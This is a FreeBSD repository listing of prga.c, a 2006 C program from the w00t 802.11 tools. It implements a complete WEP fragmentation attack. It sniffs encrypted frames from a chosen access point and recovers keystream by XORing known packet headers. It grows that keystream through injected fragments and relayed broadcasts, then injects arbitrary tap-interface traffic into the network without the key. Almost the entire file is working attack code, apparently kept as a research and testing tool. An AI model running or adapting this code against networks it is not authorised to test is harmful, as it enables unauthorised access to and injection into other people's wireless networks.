]> CyberLeo.Net >> Repos - FreeBSD/releng/10.0.git/blob - tools/tools/net80211/w00t/prga/prga.c
- Copy stable/10 (r259064) to releng/10.0 as part of the
[FreeBSD/releng/10.0.git] / tools / tools / net80211 / w00t / prga / prga.c
1 /*-
2  * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3  * All rights reserved.
4  *
5  * Redistribution and use in source and binary forms, with or without
6  * modification, are permitted provided that the following conditions
7  * are met:
8  * 1. Redistributions of source code must retain the above copyright
9  *    notice, this list of conditions and the following disclaimer.
10  * 2. Redistributions in binary form must reproduce the above copyright
11  *    notice, this list of conditions and the following disclaimer in the
12  *    documentation and/or other materials provided with the distribution.
13  *
14  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24  * SUCH DAMAGE.
25  *
26  * $FreeBSD$
27  */
28 #include <sys/endian.h>
29 #include <sys/time.h>
30 #include <sys/select.h>
31 #include <stdio.h>
32 #include <stdlib.h>
33 #include <string.h>
34 #include <err.h>
35 #include <unistd.h>
36 #include <fcntl.h>
37 #include <assert.h>
38 #include <zlib.h>
39 #include "w00t.h"
40
41
42 static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
43 static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
44 static int known_pt_len = 8;
45
46 enum {
47         S_START = 0,
48         S_SEND_FRAG,
49         S_WAIT_ACK,
50         S_WAIT_RELAY
51 };
52
53 struct params {
54         int tx;
55         int rx;
56         
57         char mac[6];
58         char ap[6];
59         
60         char prga[2048];
61         int prga_len;
62         char iv[3];
63
64         char *fname;
65
66         struct timeval last;
67         char packet[2048];
68         int packet_len;
69         int state;
70
71         char data[2048];
72         char *data_ptr;
73         int data_len;
74         int data_try;
75         int mtu;
76
77         int seq;
78         int frag;
79
80         int tap;
81 };
82
83 void usage(char *p)
84 {
85         printf("Usage: %s <opts>\n"
86                "-h\thelp\n"
87                "-b\t<bssid>\n"
88                "-t\t<tap>\n"
89                , p);
90         exit(0);
91 }
92
93 void load_prga(struct params *p)
94 {
95         int fd;
96         int rd;
97
98         fd = open(p->fname, O_RDONLY);
99         if (fd == -1) {
100                 p->prga_len = 0;
101                 return;
102         }
103
104         rd = read(fd, p->iv, 3);
105         if (rd == -1)
106                 err(1, "read()");
107         if (rd != 3) {
108                 printf("Short read\n");
109                 exit(1);
110         }
111
112         rd = read(fd, p->prga, sizeof(p->prga));
113         if (rd == -1)
114                 err(1, "read()");
115         p->prga_len = rd;
116         
117         printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
118         close(fd);
119 }
120
121 void save_prga(struct params *p)
122 {
123         int fd;
124         int rd;
125
126         fd = open(p->fname, O_WRONLY | O_CREAT, 0644);
127         if (fd == -1)
128                 err(1, "open()");
129
130         rd = write(fd, p->iv, 3);
131         if (rd == -1)
132                 err(1, "write()");
133         if (rd != 3) {
134                 printf("Short write\n");
135                 exit(1);
136         }
137
138         rd = write(fd, p->prga, p->prga_len);
139         if (rd == -1)
140                 err(1, "write()");
141         if (rd != p->prga_len) {
142                 printf("Wrote %d/%d\n", rd, p->prga_len);
143                 exit(1);
144         }
145         close(fd);
146
147         printf("Got %d bytes of PRGA\n", p->prga_len);
148 }
149
150 int is_arp(struct ieee80211_frame *wh, int len)
151 {
152         /* XXX */
153         if (len > (sizeof(*wh) + 4 + 4 + 39))
154                 return 0;
155
156         return 1;       
157 }
158
159 void get_prga(struct params *p)
160 {
161         char buf[4096];
162         int rc;
163         struct ieee80211_frame *wh;
164         char *bssid;
165         char *ptr;
166         char *known_pt;
167
168         rc = sniff(p->rx, buf, sizeof(buf));
169         if (rc == -1)
170                 err(1, "sniff()");
171
172         wh = get_wifi(buf, &rc);
173         if (!wh)
174                 return;
175
176         if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
177                         IEEE80211_FC0_SUBTYPE_DATA))
178                 return;
179         
180         if (is_arp(wh, rc))
181                 known_pt = known_pt_arp;
182         else
183                 known_pt = known_pt_ip;
184
185         if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
186                 bssid = wh->i_addr1;
187         else
188                 bssid = wh->i_addr2;
189
190         if (memcmp(p->ap, bssid, 6) != 0)
191                 return;
192
193         if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
194                 printf("Packet not WEP!\n");
195                 return;
196         }
197
198         ptr = (char*) (wh+1);
199         memcpy(p->iv, ptr, 3);
200         ptr += 4;
201         rc -= sizeof(wh) + 4;
202
203         assert(rc >= known_pt_len);
204
205         for (rc = 0; rc < known_pt_len; rc++) {
206                 p->prga[rc] = known_pt[rc] ^ (*ptr);
207                 ptr++;
208         }
209
210         p->prga_len = rc;
211         save_prga(p);
212 }
213
214 void start(struct params *p)
215 {
216         int len;
217
218         len = p->prga_len;
219         len -= 4;
220         assert(len > 0);
221
222         len *= 4;
223         if (len > p->mtu)
224                 len = p->mtu;
225
226         p->data_len = len;
227         memset(p->data, 0, p->data_len);
228         memcpy(p->data, "\xaa\xaa\x03\x00\x00\x00\x08\x06", 8);
229         p->data_ptr = p->data;
230         p->data_try = 0;
231         p->seq++;
232         p->frag = 0;
233         p->state = S_SEND_FRAG;
234 }
235
236 void send_packet(struct params *p)
237 {
238         int rc;
239         struct ieee80211_frame *wh;
240
241         rc = inject(p->tx, p->packet, p->packet_len);
242         if (rc == -1)
243                 err(1, "inject()");
244         if (rc != p->packet_len) {
245                 printf("Wrote %d/%d\n", rc, p->packet_len);
246                 exit(1);
247         }
248
249         p->data_try++;
250         wh = (struct ieee80211_frame*) p->packet;
251         wh->i_fc[1] |= IEEE80211_FC1_RETRY;
252
253         if (gettimeofday(&p->last, NULL) == -1)
254                 err(1, "gettimeofday()");
255 }
256
257 void send_frag(struct params *p)
258 {
259         struct ieee80211_frame *wh;
260         int dlen, rem;
261         int last = 0;
262         short *seqp;
263         char *ptr;
264         uLong *pcrc;
265         uLong crc = crc32(0L, Z_NULL, 0);
266         int i;
267
268         memset(p->packet, 0, sizeof(p->packet));
269         wh = (struct ieee80211_frame*) p->packet;
270
271         /* calculate how much data we need to copy */
272         dlen = p->prga_len - 4;
273         rem = p->data_ptr - p->data;
274         rem = p->data_len - rem;
275
276         if (rem <= dlen) {
277                 dlen = rem;
278                 last = 1;
279         }
280
281         /* 802.11 */
282         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
283         wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
284         wh->i_fc[1] |= IEEE80211_FC1_WEP;
285         wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
286         if (!last)
287                 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
288
289         wh->i_dur[0] = 0x69;
290         wh->i_dur[1] = 0x00;
291         
292         memcpy(wh->i_addr1, p->ap, 6);
293         memcpy(wh->i_addr2, p->mac, 6);
294         memset(wh->i_addr3, 0xff, 6);
295
296         seqp = (short*) wh->i_seq;
297         *seqp = seqfn(p->seq, p->frag);
298         p->frag++;
299
300         /* IV & data */
301         ptr = (char*) (wh+1);
302         memcpy(ptr, p->iv, 3);
303         ptr += 4;
304         memcpy(ptr, p->data_ptr, dlen);
305
306         /* crc */
307         crc = crc32(crc, ptr, dlen);
308         pcrc = (uLong*) (ptr+dlen);
309         *pcrc = crc;
310
311         /* wepify */
312         for (i = 0; i < dlen+4; i++)
313                 ptr[i] = ptr[i] ^ p->prga[i];
314
315         /* prepare for next frag */
316         p->packet_len = sizeof(*wh) + 4 + dlen + 4;
317         p->data_ptr += dlen;
318 #if 0
319         printf("Sening %sfrag [%d/%d] [len=%d]\n", last ? "last " : "",
320                p->seq, p->frag, dlen);
321 #endif  
322         if (last) {
323                 p->data_ptr = p->data;
324                 p->frag = 0;
325                 p->seq++;
326         }
327
328         /* send it off */
329         send_packet(p);
330         p->state = S_WAIT_ACK;
331 }
332
333 void wait_ack(struct params *p)
334 {
335         struct timeval now;
336         int el;
337         int tout = 10*1000;
338         fd_set fds;
339         int rc;
340         char buf[4096];
341         struct ieee80211_frame *wh;
342
343         if (gettimeofday(&now, NULL) == -1)
344                 err(1, "gettimeofday()");
345
346         /* check for timeout */
347         el = elapsed(&p->last, &now);
348         if (el >= tout) {
349                 if (p->data_try >= 3) {
350 #if 0           
351                         printf("Re-sending whole lot\n");
352 #endif                  
353                         p->state = S_START;
354                         return;
355                 }
356 #if 0
357                 printf("Re-sending frag\n");
358 #endif          
359                 send_packet(p);
360                 el = 0;
361         }
362
363         el = tout - el;
364         now.tv_sec = el/1000/1000;
365         now.tv_usec = el - now.tv_sec*1000*1000;
366
367         FD_ZERO(&fds);
368         FD_SET(p->rx, &fds);
369         if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
370                 err(1, "select()");
371
372         if (!FD_ISSET(p->rx, &fds))
373                 return;
374
375         /* grab ack */
376         rc = sniff(p->rx, buf, sizeof(buf));
377         if (rc == -1)
378                 err(1, "sniff()");
379
380         wh = get_wifi(buf, &rc);
381         if (!wh)
382                 return;
383
384         if (!frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK))
385                 return;
386
387         if (memcmp(p->mac, wh->i_addr1, 6) != 0)
388                 return;
389
390         /* wait for relay */
391         if (p->frag == 0) {
392                 p->state = S_WAIT_RELAY;
393                 if (gettimeofday(&p->last, NULL) == -1)
394                         err(1, "gettimeofday()");
395         }
396         else
397                 p->state = S_SEND_FRAG;
398 }
399
400 void wait_relay(struct params *p)
401 {
402         int tout = 20*1000;
403         struct timeval now;
404         int el;
405         fd_set fds;
406         int rc;
407         char buf[4096];
408         struct ieee80211_frame *wh;
409         char *ptr;
410         uLong crc = crc32(0L, Z_NULL, 0);
411         uLong *pcrc;
412
413         if (gettimeofday(&now, NULL) == -1)
414                 err(1, "gettimeofday()");
415
416         el = elapsed(&p->last, &now);
417         if (el >= tout) {
418 #if 0   
419                 printf("No relay\n");
420 #endif          
421                 p->state = S_START;
422                 return;
423         }
424         el = tout - el;
425         now.tv_sec = el/1000/1000;
426         now.tv_usec = el - now.tv_sec*1000*1000;
427
428         FD_ZERO(&fds);
429         FD_SET(p->rx, &fds);
430         if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
431                 err(1, "select()");
432         
433         if (!FD_ISSET(p->rx, &fds))
434                 return;
435
436         /* get relay */
437         rc = sniff(p->rx, buf, sizeof(buf));
438         if (rc == -1)
439                 err(1, "sniff()");
440
441         wh = get_wifi(buf, &rc);
442         if (!wh)
443                 return;
444
445         if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
446                         IEEE80211_FC0_SUBTYPE_DATA))
447                 return;
448
449         if (memcmp(wh->i_addr2, p->ap, 6) != 0)
450                 return;
451
452         if (memcmp(wh->i_addr3, p->mac, 6) != 0)
453                 return;
454
455         if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) != 0)
456                 return;
457
458         /* lends different due to padding? */
459         if ( (rc - sizeof(*wh) - 8) != p->data_len)
460                 return;
461         
462         /* grab new PRGA */
463         assert(p->data_len >= p->prga_len);
464         ptr = (char*) (wh+1);
465         memcpy(p->iv, ptr, 3);
466         ptr += 4;
467
468         crc = crc32(crc, p->data, p->data_len);
469         pcrc = (uLong*) &p->data[p->data_len]; /* XXX overflow ph33r */
470         *pcrc = crc;
471
472         for (rc = 0; rc < p->data_len+4; rc++)
473                 p->prga[rc] = p->data[rc] ^ ptr[rc];
474
475         p->prga_len = p->data_len+4;
476         p->state = S_START;
477         save_prga(p);
478 }
479
480 void get_more_prga(struct params *p)
481 {
482         switch (p->state) {
483         case S_START:
484                 start(p);
485                 break;
486
487         case S_SEND_FRAG:
488                 send_frag(p);
489                 break;
490
491         case S_WAIT_ACK:
492                 wait_ack(p);
493                 break;
494
495         case S_WAIT_RELAY:
496                 wait_relay(p);
497                 break;
498
499         default:
500                 printf("WTF %d\n", p->state);
501                 abort();
502                 break;
503         }
504 }
505
506 void read_tap(struct params *p)
507 {
508         int offset;
509         char *ptr;
510         struct ieee80211_frame *wh;
511         int rc;
512         char dst[6];
513         short *seq;
514         uLong *pcrc;
515         uLong crc = crc32(0L, Z_NULL, 0);
516
517         memset(p->packet, 0, sizeof(p->packet));
518         offset = sizeof(*wh) + 4 + 8 - 14;
519         rc = sizeof(p->packet) - offset;
520         ptr = &p->packet[offset];
521
522         rc = read(p->tap, ptr, rc);
523         if (rc == -1)
524                 err(1, "read()");
525
526         memcpy(dst, ptr, sizeof(dst));
527         wh = (struct ieee80211_frame*) p->packet;
528         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
529         wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
530         wh->i_fc[1] |= IEEE80211_FC1_WEP;
531         wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
532
533         wh->i_dur[0] = 0x69;
534
535         memcpy(wh->i_addr1, p->ap, 6);
536         memcpy(wh->i_addr2, p->mac, 6);
537         memcpy(wh->i_addr3, dst, 6);
538
539         seq = (short*) wh->i_seq;
540         *seq = seqfn(p->seq++, 0);
541
542         /* data */
543         ptr = (char*) (wh+1);
544         memcpy(ptr, p->iv, 3);
545         ptr += 3;
546         *ptr++ = 0;
547         memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00", 6);
548         rc -= 14;
549         rc += 8;
550         
551         crc = crc32(crc, ptr, rc);
552         pcrc = (uLong*) (ptr+rc);
553         *pcrc = crc;
554
555         rc += 4;
556
557         assert(p->prga_len >= rc);
558
559         /* wepify */
560         for (offset = 0; offset < rc; offset++)
561                 ptr[offset] ^= p->prga[offset];
562
563         p->packet_len = sizeof(*wh) + 4 + rc;
564         p->data_try = 0;
565         send_packet(p);
566         p->state = S_WAIT_ACK;
567 }
568
569 /* XXX */
570 void wait_tap_ack(struct params *p)
571 {
572         p->data_try = 0;
573         p->frag = 1;
574         wait_ack(p);
575
576         if (p->state == S_SEND_FRAG) {
577 #if 0
578                 printf("Got ACK\n");
579 #endif
580                 p->state = S_START;
581         }       
582 }
583
584 void transmit(struct params *p)
585 {
586         switch (p->state) {
587         case S_START:
588                 read_tap(p);
589                 break;
590         
591         case S_WAIT_ACK:
592                 wait_tap_ack(p);
593                 break;
594
595         default:
596                 printf("wtf %d\n", p->state);
597                 abort();
598                 break;
599         }
600 }
601
602 int main(int argc, char *argv[])
603 {
604         struct params p;
605         char *iface = "wlan0";
606         char *tap = "tap0";
607         int ch;
608
609         memset(&p, 0, sizeof(p));
610         p.fname = "prga.log";
611         memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6);
612         p.state = S_START;
613         p.mtu = 1500;
614         p.seq = getpid();
615
616         while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
617                 switch (ch) {
618                 case 'b':
619                         if (str2mac(p.ap, optarg) == -1) {
620                                 printf("Can't parse BSSID\n");
621                                 exit(1);
622                         }
623                         break;
624
625                 case 't':
626                         tap = optarg;
627                         break;
628
629                 case 'h':
630                 default:
631                         usage(argv[0]);
632                         break;
633                 }
634         }
635
636         /* init */
637         if ((p.rx = open_rx(iface)) == -1)
638                 err(1, "open_rx()");
639         if ((p.tx = open_tx(iface)) == -1)
640                 err(1, "open_tx()");
641
642         if ((p.tap = open_tap(tap)) == -1)
643                 err(1, "open_tap()");
644         if (set_iface_mac(tap, p.mac) == -1)
645                 err(1, "set_iface_mac()");
646
647         printf("Obtaining PRGA\n");
648         /* make sure we got some prga */
649         load_prga(&p);
650
651         while (p.prga_len == 0)
652                 get_prga(&p);
653
654         /* lets grab some more */
655         while (p.prga_len < p.mtu)
656                 get_more_prga(&p);
657
658         /* transmit */
659         p.state = S_START;
660         while (1)
661                 transmit(&p);
662
663         exit(0);
664 }